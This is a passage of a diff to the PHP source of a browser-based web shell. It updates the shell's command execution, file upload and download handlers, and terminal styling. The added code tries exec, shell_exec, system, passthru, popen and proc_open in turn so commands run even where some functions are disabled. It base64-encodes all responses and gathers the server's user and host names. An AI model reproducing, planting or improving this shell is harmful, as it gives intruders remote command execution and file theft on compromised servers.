{ return $path; } +function allFunctionExist($list = array()) { + foreach ($list as $entry) { + if (!function_exists($entry)) { + return false; + } + } + return true; +} + +function executeCommand($cmd) { + $output = ''; + if (function_exists('exec')) { + exec($cmd, $output); + $output = implode("\n", $output); + } else if (function_exists('shell_exec')) { + $output = shell_exec($cmd); + } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) { + ob_start(); + system($cmd); + $output = ob_get_contents(); + ob_end_clean(); + } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) { + ob_start(); + passthru($cmd); + $output = ob_get_contents(); + ob_end_clean(); + } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) { + $handle = popen($cmd, 'r'); + while (!feof($handle)) { + $output .= fread($handle, 4096); + } + pclose($handle); + } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) { + $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes); + $output = stream_get_contents($pipes[1]); + proc_close($handle); + } + return $output; +} + +function isRunningWindows() { + return stripos(PHP_OS, "WIN") === 0; +} + function featureShell($cmd, $cwd) { - $stdout = array(); + $stdout = ""; if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) { chdir(expandPath("~")); @@ -23,17 +72,17 @@ function featureShell($cmd, $cwd) { return featureDownload($match[1]); } else { chdir($cwd); - exec($cmd, $stdout); + $stdout = executeCommand($cmd); } return array( - "stdout" => $stdout, - "cwd" => getcwd() + "stdout" => base64_encode($stdout), + "cwd" => base64_encode(getcwd()) ); } function featurePwd() { - return array("cwd" => getcwd()); + return array("cwd" => base64_encode(getcwd())); } function featureHint($fileName, $cwd, $type) { @@ -45,6 +94,9 @@ function featureHint($fileName, $cwd, $type) { } $cmd = "/bin/bash -c \"$cmd\""; $files = explode("\n", shell_exec($cmd)); + foreach ($files as &$filename) { + $filename = base64_encode($filename); + } return array( 'files' => $files, ); @@ -54,12 +106,12 @@ function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array( - 'stdout' => array('File not found / no read permission.'), - 'cwd' => getcwd() + 'stdout' => base64_encode('File not found / no read permission.'), + 'cwd' => base64_encode(getcwd()) ); } else { return array( - 'name' => basename($filePath), + 'name' => base64_encode(basename($filePath)), 'file' => base64_encode($file) ); } @@ -70,19 +122,40 @@ function featureUpload($path, $file, $cwd) { $f = @fopen($path, 'wb'); if ($f === FALSE) { return array( - 'stdout' => array('Invalid path / no write permission.'), - 'cwd' => getcwd() + 'stdout' => base64_encode('Invalid path / no write permission.'), + 'cwd' => base64_encode(getcwd()) ); } else { fwrite($f, base64_decode($file)); fclose($f); return array( - 'stdout' => array('Done.'), - 'cwd' => getcwd() + 'stdout' => base64_encode('Done.'), + 'cwd' => base64_encode(getcwd()) ); } } +function initShellConfig() { + global $SHELL_CONFIG; + + if (isRunningWindows()) { + $username = getenv('USERNAME'); + if ($username !== false) { + $SHELL_CONFIG['username'] = $username; + } + } else { + $pwuid = posix_getpwuid(posix_geteuid()); + if ($pwuid !== false) { + $SHELL_CONFIG['username'] = $pwuid['name']; + } + } + + $hostname = gethostname(); + if ($hostname !== false) { + $SHELL_CONFIG['hostname'] = $hostname; + } +} + if (isset($_GET["feature"])) { $response = NULL; @@ -108,6 +181,8 @@ if (isset($_GET["feature"])) { header("Content-Type: application/json"); echo json_encode($response); die(); +} else { + initShellConfig(); } ?> @@ -125,6 +200,9 @@ if (isset($_GET["feature"])) { background: #333; color: #eee; font-family: monospace; + width: 100vw; + height: 100vh; + overflow: hidden; } *::-webkit-scrollbar-track { @@ -145,17 +223,21 @@ if (isset($_GET["feature"])) { #shell { background: #222; - max-width: 800px; - margin: 50px auto 0 auto; box-shadow: 0 0 5px rgba(0, 0, 0, .3); font-size: 10pt; display: flex; flex-direction: column; align-items: stretch; + max-width: calc(100vw - 2 * var(--shell-margin)); + max-height: calc(100vh - 2 * var(--shell-margin)); + resize: both; + overflow: hidden; + width: 100%; + height: 100%; + margin: var(--shell-margin) auto; } #shell-content { - height: 500px; overflow: auto; padding: 5px; white-space: pre-wrap; @@ -168,20 +250,27 @@ if (isset($_GET["feature"])) { text-align: center; } - @media (max-width: 991px) { + :root { + --shell-margin: 25px; + } + + @media (min-width: 1200px) { + :root { + --shell-margin: 50px !important; + } + } + + @media (max-width: 991px), + (max-height: 600px) { #shell-logo { font-size: 6px; margin: -25px 0; } - - html, body, #shell { - height: 100%; - width: 100%; - max-width: none; + :root { + --shell-margin: 0 !important; } - #shell { - margin-top: 0; + resize: none; } } @@ -210,6 +299,7 @@ if (isset($_GET["feature"])) { display: flex; box-shadow: 0 -1px 0 rgba(0, 0, 0, .3); border-top: rgba(255, 255, 255, .05) solid 1px; + padding: 10px 0; } #shell-input > label { @@ -230,6 +320,7 @@ if (isset($_GET["feature"])) { font-size: 10pt; width: 100%; align-self: center; + box-sizing: border-box; } #shell-input div { @@ -243,6 +334,7 @@ if (isset($_GET["feature"])) {